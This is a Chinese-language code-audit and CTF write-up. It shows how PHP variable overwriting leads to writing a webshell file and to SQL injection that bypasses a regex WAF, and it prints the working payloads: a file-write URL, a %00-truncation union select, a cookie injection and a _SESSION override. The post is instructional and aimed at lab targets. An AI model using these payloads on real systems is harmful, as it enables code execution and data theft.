0%

代码审计--从变量覆盖到getshell

漏洞源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?
class Carrot {
const EXTERNAL_DIRECTORY = 'D:\phpstudy\WWW\abc_';
private $id;
private $lost = 0;
private $bought = 0;

public function __construct($input) {
$this->id = rand(1, 1000);

foreach ($input as $field => $count) {
$this->$field = $count++;
}
}

public function __destruct() {
file_put_contents(
self::EXTERNAL_DIRECTORY . $this->id,
var_export(get_object_vars($this), true)
);
}
}

$carrot = new Carrot($_GET);

漏洞

1
2
3
foreach ($input as $field => $count) {
$this->$field = $count++;
}

这里会对我们传入的get值,进行键值注册成变量。那么我们就可以覆盖id 达到我们想要的id名(文件名)。

1
2
3
4
file_put_contents(
self::EXTERNAL_DIRECTORY . $this->id,
var_export(get_object_vars($this), true)
);

var_export,类似var_dump函数只是它要求里面是正确的代码。而get_object_vars函数是获取类对象的变量及值。
我们输入payload:

1
?id=shell.php&shell=<?php phpinfo(); ?>

而此时,abc_shell.php的内容为:

1
2
3
4
5
6
array (
'id' => 'shell.php',
'lost' => 0,
'bought' => 0,
'shell' => '<?php phpinfo(); ?>',
)

所以我们的php代码可以执行。

CTF 题解

在config.php中有一个变量覆盖和sql注入漏洞。

1
2
3
extract($_REQUEST);
var_dump($message_id);
$sql = "select * from test.content where id=$message_id";

解法一

我们参数传入一个键名为 message_id 的payload来变量覆盖且执行我们的语句。
虽然包含了global.php从而进入了waf.php但是他在extract($_REQUEST)前面,也就是说我们只要控制在waf那里没有中止运行就可以了。waf又调用了function.php的filtering函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function filtering($str) {
$check= eregi('select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile', $str);
if($check)
{
echo "非法字符!";
exit();
}

$newstr="";
while($newstr!=$str){
$newstr=$str;
$str = str_replace("script", "", $str);
$str = str_replace("execute", "", $str);
$str = str_replace("update", "", $str);
$str = str_replace("master", "", $str);
$str = str_replace("truncate", "", $str);
$str = str_replace("declare", "", $str);
$str = str_replace("select", "", $str);
$str = str_replace("create", "", $str);
$str = str_replace("delete", "", $str);
$str = str_replace("insert", "", $str);
$str = str_replace("\'", "", $str);

}
return $str;
}

我们绕过eregi eregi、ereg可用%00截断条件:要求php<5.3.4可以把非法的数据放在%00后面进行绕过。而我们这里用的是php5.2.*所以是可以用的,至于后面的替换根本不用管了反正替换后也会被覆盖。
所以最后我们的payload是:

1
content.php?message_id=-1%00/**/union/**/select/**/1,flag,flag,4/**/from/**/flag

这里不能用%20或者空格,因为最后覆盖后的语句为:

1
-1%00%20union%20select%201,flag,flag,4%20from%20flag

%20 在SQL中肯定是不可以执行的。

解法二

我们发现 waf中对cookie的值做了以下处理:

1
2
3
4
5
6
7
8
9
10
11
12
function safe_str($str){
if(!get_magic_quotes_gpc()) {
if( is_array($str) ) {
foreach($str as $key => $value) {
$str[$key] = safe_str($value);
}
}else{
$str = addslashes($str);
}
}
return $str;
}

它并没有停止程序的代码,我们只需要在cookie中传入payload:

1
message_id=0 union select 1,2,flag,4 from flag

以上是最简单的2种方法了

解法三

我们看到,index.php中有以下代码:

1
2
3
$user_id=$_SESSION['user_id'];
$sql = "select * from content where user_id=$user_id";
$arr = select($sql);

也就说我们可以改变$_SESSION[‘user_id’]的值来注入,但是在这里index.php无法传入,我们在content.php传入吧,payload:

1
content.php?message_id=1&_SESSION[username]=mayi&_SESSION[user_id]=1%20union%20select%20flag,flag,3,4%20from%20flag

因为是数组,所以直接绕过了eregi。记得设置$_SESSION[name]因为:

1
2
3
4
5
if (!isset($_SESSION['username'])) {
echo "<h3>请先登陆再留言!</h3>";
exit;
}
?>

-------------本文结束感谢您的阅读-------------